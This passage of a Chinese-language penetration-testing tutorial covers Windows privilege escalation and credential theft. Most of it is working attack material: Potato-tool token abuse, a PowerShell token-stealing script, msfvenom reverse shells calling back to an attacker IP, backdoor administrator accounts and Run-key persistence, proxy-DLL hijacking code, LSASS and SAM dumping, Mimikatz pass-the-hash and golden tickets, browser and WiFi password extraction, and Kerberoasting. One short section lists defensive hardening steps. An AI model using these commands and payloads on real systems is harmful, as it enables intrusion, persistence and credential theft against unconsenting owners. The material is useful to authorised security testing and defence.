# 使用PrintSpoofer提权
PrintSpoofer.exe -i -c "cmd.exe"
# -i 交互模式
# -c 指定执行的命令

# 以SYSTEM权限执行单条命令
PrintSpoofer.exe -c "net user hacker P@ss123 /add && net localgroup administrators hacker /add"

# 以SYSTEM权限执行PowerShell
PrintSpoofer.exe -c "powershell -ep bypass"
GodPotato

GodPotato是Potato家族的最新成员,利用Windows RPC和SSPI实现令牌窃取,兼容性更强。

# GodPotato使用
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "net user hacker P@ss123 /add && net localgroup administrators hacker /add"
GodPotato.exe -cmd "powershell -ep bypass -c IEX(...)"
JuicyPotato

JuicyPotato是经典Potato工具,利用DCOM/RPC和NTLM中继。需要目标系统存在可用的CLSID(通常用于Windows Server 2016及更早版本)。

# JuicyPotato基本使用
# 需要指定CLSID和监听端口
JuicyPotato.exe -l 1337 -p c:\Temp\payload.exe -t * -c {F87B2861-7985-4670-A104-CB9B4BB21DBF}

# -l 监听端口
# -p 要执行的程序
# -t * 尝试CLSID
# -c 指定CLSID

# 查找可用的CLSID
# 不同Windows版本的CLSID不同
# 参考:https://github.com/ohpe/juicy-potato/tree/master/CLSID
RoguePotato

RoguePotato利用NTLM中继和RPC绑定,适用于JuicyPotato失效的场景。

# RoguePotato需要配合外部NTLM中继
# 攻击机执行NTLM中继
python3 ntlmrelayx.py -t smb://127.0.0.1 -smb2support

# 目标机器执行RoguePotato
RoguePotato.exe -r "AttackerIP" -e "C:\Temp\payload.exe"
# -r 攻击机IP
# -e 要执行的程序

6.3 Potato家族工具对比表

工具 适用版本 利用原理 依赖条件
RottenPotato Windows Server 2008-2012 DCOM NTLM中继 BITS服务可用
JuicyPotato Windows Server 2008-2016 DCOM NTLM中继+CLSID 可用CLSID,BITS服务
RoguePotato Windows Server 2016+ RPC绑定+NTLM中继 需要外部中继服务器
PrintSpoofer Windows 7+ Print Spooler命名管道 Print Spooler服务可用
GodPotato Windows 7-Server 2022 RPC+SSPI模拟 通用性最强
SharpEfsPotato Windows 7+ EFS RPC接口 EFS服务可用

6.4 SeAssignPrimaryTokenPrivilege利用

SeAssignPrimaryTokenPrivilege允许为进程分配新的主令牌,配合SeImpersonatePrivilege可实现提权。

# 检查特权
whoami /priv | findstr SeAssignPrimaryToken

# 如果同时拥有SeImpersonate和SeAssignPrimaryToken
# 可使用CreateProcessWithTokenW API创建新进程

# 实际利用通常通过Potato系列工具完成
# 这些工具内部已处理令牌分配逻辑

6.5 SeDebugPrivilege利用

SeDebugPrivilege允许进程调试其他进程,包括SYSTEM进程。可通过进程注入窃取SYSTEM令牌。

# 检查是否拥有SeDebugPrivilege
whoami /priv | findstr SeDebug

# 方法1:使用PowerShell窃取SYSTEM令牌
# 查找SYSTEM进程
Get-Process -Name lsass | Select-Object Id, ProcessName
# lsass通常以SYSTEM运行

# 使用Pinvoke进行令牌窃取
# 以下PowerShell脚本通过Win32 API窃取SYSTEM令牌
powershell -exec bypass
# PowerShell令牌窃取脚本
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

public class TokenSteal {
    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(uint access, bool inherit, int pid);

    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool OpenProcessToken(IntPtr h, uint access, out IntPtr t);

    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool DuplicateTokenEx(IntPtr h, uint access, IntPtr attr, int type, int desire, out IntPtr dup);

    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool CreateProcessWithTokenW(IntPtr h, int logon, string app, string cmd, uint create, IntPtr env, string dir, ref STARTUPINFO si, out PROCESS_INFORMATION pi);

    public struct STARTUPINFO {
        public int cb; public string lpReserved; public string lpDesktop;
        public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize;
        public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars;
        public uint dwFillAttribute; public uint dwFlags; public ushort cbReserved2;
        public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError;
    }

    public struct PROCESS_INFORMATION {
        public IntPtr hProcess; public IntPtr hThread;
        public int dwProcessId; public int dwThreadId;
    }
}
"@

# 获取winlogon.exe进程(以SYSTEM运行)
$proc = Get-Process -Name winlogon
$handle = [TokenSteal]::OpenProcess(0x400, $false, $proc.Id)
$token = [IntPtr]::Zero
[TokenSteal]::OpenProcessToken($handle, 0xE, [ref]$token)
$dupToken = [IntPtr]::Zero
[TokenSteal]::DuplicateTokenEx($token, 0xE, [IntPtr]::Zero, 2, 1, [ref]$dupToken)

# 以SYSTEM权限启动进程
$si = New-Object TokenSteal+STARTUPINFO
$pi = New-Object TokenSteal+PROCESS_INFORMATION
$si.cb = 68
$si.lpDesktop = "winsta0\default"
[TokenSteal]::CreateProcessWithTokenW($dupToken, 0, "cmd.exe", "", 0, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)

6.6 完整令牌窃取提权流程

# 场景:通过Web漏洞获取了IIS服务账户(IIS AppPool)的Shell
# IIS AppPool通常拥有SeImpersonatePrivilege

# 步骤1:确认当前权限
whoami /priv
# 确认拥有 SeImpersonatePrivilege = Enabled

# 步骤2:确认Windows版本选择合适的Potato工具
systeminfo | findstr /B /C:"OS Version"

# 步骤3:根据版本选择工具
# Windows Server 2016+ 推荐 GodPotato 或 PrintSpoofer
# Windows Server 2008-2016 推荐 JuicyPotato

# 步骤4:生成payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=AttackerIP LPORT=4444 -f exe -o C:\Temp\payload.exe

# 步骤5:启动监听
nc -lvnp 4444

# 步骤6:使用PrintSpoofer提权(推荐,通用性最好)
PrintSpoofer.exe -i -c "C:\Temp\payload.exe"

# 或使用GodPotato
GodPotato.exe -cmd "C:\Temp\payload.exe"

# 步骤7:验证SYSTEM权限
whoami
# 输出应为:nt authority\system

whoami /priv
# 确认完整性级别为System

七、计划任务与启动项提权

7.1 计划任务提权

Windows计划任务(Scheduled Tasks)可以指定以SYSTEM或其他高权限账户运行。如果计划任务执行的可执行文件可写,或可创建新的高权限计划任务,则可实现提权。

# 列出所有计划任务
schtasks /query /fo LIST /v

# 使用PowerShell列出计划任务
Get-ScheduledTask | Select-Object TaskName, TaskPath, State | Format-Table -AutoSize

# 查看计划任务详情
schtasks /query /tn "\TaskName" /fo LIST /v

# 使用PowerShell查看计划任务详情
Get-ScheduledTask -TaskName "TaskName" | Get-ScheduledTaskInfo
(Get-ScheduledTask -TaskName "TaskName").Actions

# 查找以SYSTEM权限运行的计划任务
Get-ScheduledTask | ForEach-Object {
    $task = $_
    $xml = [xml](Export-ScheduledTask -TaskName $task.TaskName -TaskPath $task.TaskPath)
    $principal = $xml.Task.Principals.Principal
    if ($principal.UserId -eq "S-1-5-18" -or $principal.UserId -eq "SYSTEM") {
        $action = $task.Actions.Execute
        Write-Output "Task: $($task.TaskName) | RunAs: SYSTEM | Action: $action"
    }
}
计划任务权限配置错误利用
# 场景:发现计划任务VulnTask以SYSTEM运行,执行C:\Temp\vuln_task.exe
# 且C:\Temp目录当前用户可写

# 步骤1:确认计划任务详情
schtasks /query /tn "VulnTask" /fo LIST /v
# 关键信息:
# TaskName: VulnTask
# Run As User: SYSTEM
# Task To Run: C:\Temp\vuln_task.exe

# 步骤2:检查可执行文件权限
icacls "C:\Temp\vuln_task.exe"
# 或检查目录权限
icacls "C:\Temp"

# 步骤3:备份原文件
copy "C:\Temp\vuln_task.exe" "C:\Temp\vuln_task.exe.bak"

# 步骤4:生成恶意程序
msfvenom -p windows/x64/exec CMD='net user hacker P@ss123 /add && net localgroup administrators hacker /add' -f exe -o "C:\Temp\vuln_task.exe"

# 步骤5:手动触发或等待计划任务执行
schtasks /run /tn "VulnTask"

# 步骤6:验证提权
net localgroup Administrators

# 步骤7:恢复原文件
copy /Y "C:\Temp\vuln_task.exe.bak" "C:\Temp\vuln_task.exe"
del "C:\Temp\vuln_task.exe.bak"

7.2 启动项提权

Startup文件夹
# 查看全局启动文件夹(对所有用户生效)
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

# 查看用户启动文件夹
dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"

# 检查启动文件夹权限
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

# 如果全局启动文件夹可写,放置恶意程序
# 生成恶意快捷方式或可执行文件
copy payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\payload.exe"

# 以下一次用户登录时自动执行
注册表Run键
# 查看HKLM Run键(系统级)
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

# 查看HKCU Run键(用户级)
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

# 如果对HKLM Run键有写权限(通常需要管理员权限)
# 但某些软件安装后可能配置了过宽的权限
# 检查Run键权限
accesschk.exe -uwcqv "Authenticated Users" -k "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

# 添加自启动项
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Temp\payload.exe" /f

# 利用PowerUp检查可修改的启动项
Import-Module PowerUp.ps1
Get-RegistryAutoStart

7.3 自动登录凭据提取

Windows自动登录功能会在注册表中存储明文密码。

# 检查自动登录配置
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName

# 一次性查询所有自动登录相关键值
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | findstr /i "Default Auto"

# 使用Seatbelt提取
Seatbelt.exe WindowsAutoLogon

# 如果AutoAdminLogon=1且DefaultPassword有值
# 可直接获取明文管理员密码

# 查看交替自动登录凭据(可能存储备用凭据)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

【提示】 自动登录密码以明文形式存储在注册表中。这是一个极易被忽视但非常常见的凭据泄露点。在企业环境中,管理员为了方便可能开启自动登录功能,导致域管理员密码泄露。

八、内核漏洞提权

当系统未及时安装安全补丁时,内核漏洞是最直接的提权路径。Windows内核漏洞利用通常需要匹配特定的系统版本和补丁状态。

8.1 系统补丁信息收集

# 获取操作系统版本
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

# 获取详细系统信息
systeminfo

# 列出已安装补丁
wmic qfe list
wmic qfe get Caption,Description,HotFixID,InstalledOn

# 使用PowerShell获取补丁信息
Get-HotFix | Select-Object HotFixID, Description, InstalledOn | Sort-Object InstalledOn -Descending

# 检查特定补丁是否已安装
wmic qfe get HotFixID | findstr "KB5000000"

# 导出系统信息到文件用于离线分析
systeminfo > systeminfo.txt

8.2 常见Windows内核漏洞表

漏洞编号 漏洞名称 影响版本 提权原理 工具/Exploit
MS16-032 Secondary Logon Handle提权 Win7-Win10 (1511) 令牌句柄竞争条件 MS16-032.ps1
MS16-135 Windows Kernel API提权 Win7-Win10 (1607) 权限检查绕过 CVE-2016-7255
MS17-010 EternalBlue Win7-Server 2016 SMBv1缓冲区溢出 eternalblue_exploit
CVE-2020-0787 Background Intelligent Transfer Win10-Server 2019 BITS符号链接 CVE-2020-0787
CVE-2021-1675 PrintNightmare Win7-Server 2019 Print Spooler驱动加载 PrintNightmare
CVE-2021-36934 HiveNightmare Win10 1809-21H1 SAM文件权限 HiveNightmare
CVE-2022-21882 Win32k提权 Win10-Server 2019 Win32k回调 CVE-2022-21882
CVE-2023-21766 AppLocker提权 Win10-Server 2022 AppLocker策略绕过 CVE-2023-21766

8.3 CVE-2021-36934 HiveNightmare提权

HiveNightmare漏洞允许普通用户读取SAM、SYSTEM和SECURITY注册表配置文件。

# 检查漏洞是否存在(检查SAM文件权限)
icacls C:\Windows\System32\config\SAM
# 如果显示 BUILTIN\Users:(I) 或 Authenticated Users 有读取权限,则存在漏洞

# 复制SAM/SYSTEM/SECURITY文件
# 方法1:直接复制(如果权限允许)
copy C:\Windows\System32\config\SAM C:\Temp\SAM
copy C:\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
copy C:\Windows\System32\config\SECURITY C:\Temp\SECURITY

# 方法2:使用卷影副本(即使直接复制被拒)
# 创建卷影副本
vssadmin list shadows
# 如果没有卷影副本,通过PowerShell创建
powershell -c "(Get-WmiObject -List Win32_ShadowCopy).Create('C:\','ClientAccessible')"

# 从卷影副本复制
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\Temp\SECURITY

# 使用impacket离线提取密码哈希
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

# 使用mimikatz提取
mimikatz.exe "lsadump::sam /sam:SAM /system:SYSTEM" exit

8.4 CVE-2021-1675 PrintNightmare提权

PrintNightmare利用Print Spooler服务的驱动加载漏洞,可远程和本地提权。

# 检查Print Spooler服务是否运行
Get-Service -Name Spooler | Select-Object Status, StartType

# 本地提权利用
# 使用SharpPrintNightmare
SharpPrintNightmare.exe C:\Temp\payload.dll \\localhost

# 或使用Mimikatz
mimikatz.exe "misc::printnightmare /library:C:\Temp\payload.dll /server:localhost" exit

# 生成恶意DLL
msfvenom -p windows/x64/exec CMD='net user hacker P@ss123 /add && net localgroup administrators hacker /add' -f dll -o C:\Temp\payload.dll

# 执行利用
python3 CVE-2021-1675.py localhost/user:pass@127.0.0.1 C:\Temp\payload.dll

8.5 Watson漏洞匹配工具

Watson是自动检测系统缺失补丁并推荐可用漏洞利用的工具。

# 编译并执行Watson
Watson.exe

# Watson会输出:
# 1. 操作系统版本和Build号
# 2. 已安装的补丁列表
# 3. 缺失的补丁
# 4. 建议的可用漏洞利用(Exploit Suggestions)

# 另一个工具:Windows Exploit Suggester
# 在目标机器导出systeminfo
systeminfo > systeminfo.txt

# 在攻击机上执行分析
python windows-exploit-suggester.py --database 2021-08-01-mssb.xls --systeminfo systeminfo.txt

8.6 完整内核提权流程

# 步骤1:收集系统信息
systeminfo
wmic qfe get HotFixID

# 步骤2:使用Watson分析可用漏洞
Watson.exe

# 假设Watson建议 CVE-2021-36934 (HiveNightmare)

# 步骤3:验证漏洞存在
icacls C:\Windows\System32\config\SAM
# 输出包含 BUILTIN\Users:(R) 表示漏洞存在

# 步骤4:提取SAM/SYSTEM文件
copy C:\Windows\System32\config\SAM C:\Temp\SAM
copy C:\Windows\System32\config\SYSTEM C:\Temp\SYSTEM

# 步骤5:提取密码哈希
secretsdump.py -sam SAM -system SYSTEM LOCAL

# 步骤6:破解NTLM哈希
hashcat -m 1000 hashes.txt rockyou.txt
# 或
john --format=NT hashes.txt

# 步骤7:使用破解的密码进行Pass-the-Hash或登录
# 如果破解出管理员密码
net use \\targetIP /user:Administrator cracked_password
# 或使用PTH
wmiexec.py -hashes :NTLM_hash Administrator@targetIP

【提示】 内核漏洞利用可能导致系统蓝屏(BSOD)。在生产环境测试前,务必在实验环境中验证exploit的稳定性。某些内核漏洞利用需要特定的架构(x86/x64)和编译版本。Watson工具需要目标系统安装.NET Framework。

九、DLL劫持提权

DLL劫持利用Windows DLL搜索顺序的缺陷,在合法程序加载DLL时注入恶意代码。

9.1 DLL搜索顺序表

Windows加载DLL时的默认搜索顺序:

顺序 搜索位置 说明
1 应用程序目录 可执行文件所在目录
2 System32目录 C:\Windows\System32
3 System目录 C:\Windows\System
4 Windows目录 C:\Windows
5 当前工作目录 进程的工作目录
6 PATH环境变量目录 系统PATH中的目录

【提示】 如果启用了SafeDllSearchMode(默认启用),当前工作目录的优先级会降低到第6位。可通过注册表 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 控制此设置(0=禁用,1=启用)。

9.2 DLL劫持原理

当程序尝试加载一个DLL时,会按照搜索顺序依次查找。如果在前面的搜索路径中找到了同名的DLL文件,就会优先加载它。攻击者可以在可写的搜索路径中放置同名的恶意DLL,使其被优先加载。

# 使用Process Monitor监控DLL加载
# 设置过滤器:
# - Process Name = 目标程序名
# - Path = 包含 .dll
# - Result = NAME NOT FOUND

# ProcMon会显示程序尝试加载但未找到的DLL
# 这些都是可劫持的DLL

9.3 可执行文件权限分析

# 查找以高权限运行且可写的可执行文件
# 使用accesschk递归检查目录
accesschk.exe -uwcqv "Authenticated Users" -accepteula C:\Program Files\SomeApp

# 检查可执行文件所在目录权限
icacls "C:\Program Files\SomeApp"

# 检查可执行文件本身权限
icacls "C:\Program Files\SomeApp\target.exe"

# 查找可写目录中的可执行文件
findstr /S /I /M "\.exe$" C:\Program Files\* | findstr /V "System32"

# 查找以SYSTEM运行的服务可执行文件路径
Get-CimInstance Win32_Service | Where-Object {
    $_.StartName -eq "LocalSystem" -and $_.PathName
} | Select-Object Name, PathName

9.4 Proxy DLL制作

Proxy DLL(代理DLL)是一种高级DLL劫持技术。它导出与原始DLL相同的函数,将合法调用转发到原始DLL,同时执行恶意代码。

// Proxy DLL 示例代码 (proxy.c)
// 编译:x86_64-w64-mingw32-gcc -shared -o target.dll proxy.c original.def

#include <windows.h>

// 转发原始DLL的导出函数
#pragma comment(linker, "/EXPORT:Function1=original.Function1,@1")
#pragma comment(linker, "/EXPORT:Function2=original.Function2,@2")
#pragma comment(linker, "/EXPORT:Function3=original.Function3,@3")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        // 恶意代码在DLL加载时执行
        system("net user hacker P@ss123 /add");
        system("net localgroup administrators hacker /add");
    }
    return TRUE;
}

更完整的Proxy DLL制作流程:

# 步骤1:获取原始DLL的导出函数列表
# 使用dumpbin或DLL Export Viewer
dumpbin /exports C:\Windows\System32\original.dll

# 步骤2:生成.def文件
# 将导出函数列表转换为.def文件格式
# 使用工具:https://github.com/slyd0g/ChucklePatcher

# 步骤3:编写代理DLL源码
# 使用msfvenom生成基础payload
msfvenom -p windows/x64/exec CMD='net user hacker P@ss123 /add' -f dll -o malicious.dll

# 或使用DLL Hijacking工具自动生成
# https://github.com/AdrianoPi/dllhost-launcher-bypass

# 步骤4:编译代理DLL
# 使用Visual Studio Developer Command Prompt
cl /LD proxy.c /link /DEF:original.def /out:target.dll

9.5 DLL劫持提权完整流程

# 场景:发现某服务以SYSTEM运行,其可执行文件位于可写目录C:\CustomApp\

# 步骤1:分析服务的DLL加载
# 使用Process Monitor监控服务启动时的DLL加载
# 设置ProcMon过滤器:Process Name = service.exe, Result = NAME NOT FOUND

# 步骤2:发现可劫持的DLL
# 例如发现服务尝试加载 VERSION.dll 但在C:\CustomApp\目录中未找到

# 步骤3:检查目录权限
icacls "C:\CustomApp"
# 确认 Users:(M) 或 Users:(F)

# 步骤4:制作Proxy DLL
# 获取原始VERSION.dll的导出函数
dumpbin /exports C:\Windows\System32\VERSION.dll

# 生成Proxy DLL(转发到原始DLL同时执行恶意代码)
# 编译后得到 VERSION.dll

# 步骤5:生成恶意payload
msfvenom -p windows/x64/exec CMD='net user hacker P@ss123 /add && net localgroup administrators hacker /add' -f dll -o VERSION.dll

# 步骤6:放置Proxy DLL到服务目录
copy VERSION.dll "C:\CustomApp\VERSION.dll"

# 步骤7:重启服务触发DLL加载
sc stop CustomService
sc start CustomService

# 步骤8:验证提权
net localgroup Administrators

【提示】 制作Proxy DLL时,必须确保导出函数与原始DLL完全一致,否则程序可能崩溃或功能异常。如果只需要执行payload而不需要保持程序正常运行,可直接用msfvenom生成的DLL覆盖。但为了隐蔽性,Proxy DLL方式更优。

9.6 DLL劫持防御方法

# 防御方法1:应用程序目录权限加固
# 确保应用程序目录不可被普通用户写入
icacls "C:\CustomApp" /inheritance:r /grant:r "Administrators:(F)" "SYSTEM:(F)" "Users:(R)"

# 防御方法2:启用SafeDllSearchMode
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode /t REG_DWORD /d 1 /f

# 防御方法3:使用KnownDLLs机制
# 将关键DLL添加到KnownDLLs列表
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDlls" /v targetdll /t REG_SZ /d "target.dll" /f

# 防御方法4:应用程序使用绝对路径加载DLL
# 开发时应使用LoadLibraryEx并指定LOAD_LIBRARY_SEARCH_APPLICATION_DIR

十、凭据提取与利用

凭据提取是提权的重要手段。Windows系统中存在大量凭据存储位置,包括注册表、文件系统、内存和DPAPI加密存储。

10.1 内存凭据提取(Mimikatz)

Mimikatz是Windows凭据提取的瑞士军刀,可从LSASS进程中提取明文密码、NTLM哈希、Kerberos票据等。

# 基本用法(需要管理员/SYSTEM权限)
# 提取明文密码、NTLM哈希
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# 提取所有凭据(lsadump)
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit

# 提取SAM数据库中的哈希
mimikatz.exe "privilege::debug" "lsadump::sam" exit

# 提取Kerberos票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets" exit

# 提取DPAPI主密钥
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit

# 提取Wdigest凭据(明文密码)
mimikatz.exe "privilege::debug" "sekurlsa::wdigest" exit

# Pass-the-Hash(使用哈希进行认证)
mimikatz.exe "sekurlsa::pth /user:Administrator /domain:contoso.com /ntlm:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 /run:cmd.exe" exit

# Pass-the-Ticket(使用Kerberos票据)
mimikatz.exe "kerberos::ptt ticket.kirbi" exit

# Golden Ticket生成(需要krbtgt哈希)
mimikatz.exe "kerberos::golden /user:Administrator /domain:contoso.com /sid:S-1-5-21-xxx /krbtgt:ntlmhash /ptt" exit

10.2 SAM/SYSTEM/SECURITY文件导出

# 方法1:使用reg save导出
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
reg save HKLM\SECURITY C:\Temp\SECURITY

# 方法2:使用vssadmin创建卷影副本后复制
vssadmin create shadow /for=C:
# 获取卷影副本设备路径(如 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\Temp\SECURITY

# 方法3:使用NTDSUtil
ntdsutil
# 在ntdsutil交互界面中:
# activate instance ntds
# ifm
# create full C:\Temp\ntds_dump

# 方法4:使用esentutl
esentutl.exe /y /vss /d C:\Windows\System32\config\SAM /t C:\Temp\SAM

# 离线提取哈希
# 使用impacket secretsdump
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

# 使用mimikatz
mimikatz.exe "lsadump::sam /sam:SAM /system:SYSTEM" exit

10.3 LSASS进程dump

# 方法1:使用Procdump(Sysinternals,需要接受EULA)
procdump.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmp

# 方法2:使用comsvcs.dll(系统自带,免杀性更好)
# 需要在SYSTEM权限下执行
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 644 C:\Temp\lsass.dmp full
# 其中644是lsass.exe的PID,需要替换为实际PID

# 获取lsass.exe的PID
tasklist /fi "imagename eq lsass.exe"

# 方法3:使用Task Manager
# 打开任务管理器 -> 详细信息 -> 右键lsass.exe -> 创建转储文件

# 方法4:使用PowerShell
Get-Process -Name lsass | ForEach-Object {
    $procId = $_.Id
    $dumpFile = "C:\Temp\lsass.dmp"
    # 使用dbghelp.dll的MiniDumpWriteDump API
}

# 从LSASS dump中提取凭据
# 使用mimikatz分析dump文件
mimikatz.exe "sekurlsa::minidump C:\Temp\lsass.dmp" "sekurlsa::logonpasswords" exit

10.4 凭据存储位置表

存储位置 凭据类型 提取方法
SAM注册表 本地用户NTLM哈希 reg save + secretsdump
LSASS进程内存 明文密码/哈希/票据 Mimikatz/Procdump
NTDS.dit 域用户哈希 ntdsutil/vssadmin + secretsdump
注册表Winlogon 自动登录密码 reg query
DPAPI 加密的凭据 Mimikatz dpapi模块
CredMan(凭据管理器) 保存的凭据 cmdkey / mimikatz
证书服务 证书私钥 certutil/mimikatz
浏览器 保存的密码 SharpChrome/LaZagne
WiFi WiFi密码 netsh wlan
注册表LSA Secrets LSA机密 mimikatz lsadump::secrets

10.5 浏览器凭据提取

# Chrome凭据提取
# 使用SharpChrome
SharpChrome.exe logins

# 使用LaZagne(多浏览器凭据提取工具)
LaZagne.exe all

# Chrome数据库位置
# %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
# %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data-journal

# Edge凭据提取
# Edge使用与Chrome相同的数据库格式
# %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data

# Firefox凭据提取
# Firefox使用SQLite数据库存储
# key4.db 和 logins.json
# %APPDATA%\Mozilla\Firefox\Profiles\*.default\

# 使用Firepwd提取Firefox密码
python3 firepwd.py -d "C:\path\to\firefox\profile"

# 使用mimikatz提取浏览器凭据
mimikatz.exe "dpapi::chrome /in:%LOCALAPPDATA%\Google\Chrome\User Data\Default" exit

10.6 WiFi密码提取

# 列出所有已保存的WiFi配置文件
netsh wlan show profiles

# 查看指定WiFi密码
netsh wlan show profile name="WiFiName" key=clear

# 导出所有WiFi配置文件
netsh wlan export profile key=clear folder=C:\Temp

# 批量提取所有WiFi密码(PowerShell)
(netsh wlan show profiles) | Select-String ":" |
    ForEach-Object {
        $name = $_.Line.Split(":")[1].Trim()
        $pass = (netsh wlan show profile name="$name" key=clear |
                 Select-String "Key Content").Line.Split(":")[1].Trim()
        Write-Output "WiFi: $name | Password: $pass"
    }

【提示】 WiFi密码提取虽然看起来简单,但在实际渗透中非常有用。企业网络中的WiFi密码可能与内部服务密码相同或遵循相似模式。此外,提取到的密码可加入字典用于后续密码喷洒攻击。

十一、Active Directory环境提权

在域环境中,提权的目标不仅是获取本机SYSTEM权限,更是获取Domain Admin或Enterprise Admin权限。

11.1 AD域信息收集

BloodHound与SharpHound

BloodHound是AD域攻击路径可视化分析工具,通过图形化方式展示攻击路径。

# 使用SharpHound收集AD数据
# 方法1:执行SharpHound.exe
SharpHound.exe -c All
# -c All 收集所有数据

# 方法2:使用PowerShell版本
Import-Module SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

# 方法3:使用BloodHound Python版本(从远程收集)
bloodhound-python -d contoso.com -u user -p password -ns DC_IP -c All

# 收集完成后导入BloodHound GUI分析攻击路径
# 在BloodHound中查询:
# - Shortest Path to Domain Admin
# - Find All Domain Admins
# - Shortest Paths to High Value Targets
PowerView

PowerView是PowerShell AD枚举工具,用于手动信息收集。

# 导入PowerView
Import-Module .\PowerView.ps1

# 域信息收集
# 获取当前域信息
Get-NetDomain

# 获取域控制器
Get-NetDomainController

# 获取所有域用户
Get-NetUser | Select-Object samaccountname, description, memberof

# 获取域管理员
Get-NetGroupMember -GroupName "Domain Admins"

# 查询所有SPN(用于Kerberoasting)
Get-NetUser -SPN

# 获取所有计算机
Get-NetComputer | Select-Object name, operatingsystem

# 获取所有域组
Get-NetGroup | Select-Object samaccountname, description

# 查找当前用户可修改的AD对象
Find-ModifiableACLOverlay

# 查找GPO
Get-NetGPO | Select-Object displayname, gpcfilesyspath

# 查找当前用户拥有GenericAll权限的对象
Invoke-ACLScanner | Where-Object {$_.ActiveDirectoryRights -match "GenericAll"}

11.2 Kerberoasting攻击

Kerberoasting攻击针对配置了SPN(Service Principal Name)的服务账户。攻击者可请求该服务的TGS票据并离线破解。

# 步骤1:查询域中所有SPN账户
# 使用PowerView
Get-NetUser -SPN | Select-Object samaccountname, serviceprincipalname

# 使用setspn(系统自带)
setspn -Q */*

# 只查询用户账户的SPN(非机器账户)
setspn -T contoso.com -Q */* | findstr "CN=User"

# 步骤2:请求TGS票据
# 使用Rubeus
Rubeus.exe kerberoast /outfile:C:\Temp\hashes.txt

# 使用PowerView的Invoke-Kerberoast
Invoke-Kerberoast -OutputFormat Hashcat | Out-File -Encoding UTF8 C:\Temp\hashes.txt

# 使用impacket的GetUserSPNs
GetUserSPNs.py contoso.com/user:password -request

# 步骤3:破解TGS哈希
# Kerberoasting的TGS票据使用服务账户密码加密
# 使用hashcat破解(模式13100为Kerberoasting)
hashcat -m 13100 hashes.txt rockyou.txt

# 使用John the Ripper
john --format=krb5tgs hashes.txt

【提示】 Kerberoasting成功率取决于服务账户密码的复杂度。通常服务账户密码较弱且很少更换。建议优先尝试常见密码字典。RC4-HMAC加密的TGS票据比AES加密的更容易破解。

11.3 AS-REP Roasting攻击

AS-REP Roasting针对禁用了预身份验证(DoNotRequirePreAuth)的用户账户。

# 步骤1:查找禁用预身份验证的用户
# 使用PowerView
Get-NetUser -PreauthNotRequired | Select-Object samaccountname

# 使用Rubeus
Rubeus.exe asreproast /outfile:C:\Temp\asrep_hashes.txt

# 使用impacket的GetNPUsers
GetNPUsers.py contoso.com/ -no-pass -usersfile users.txt

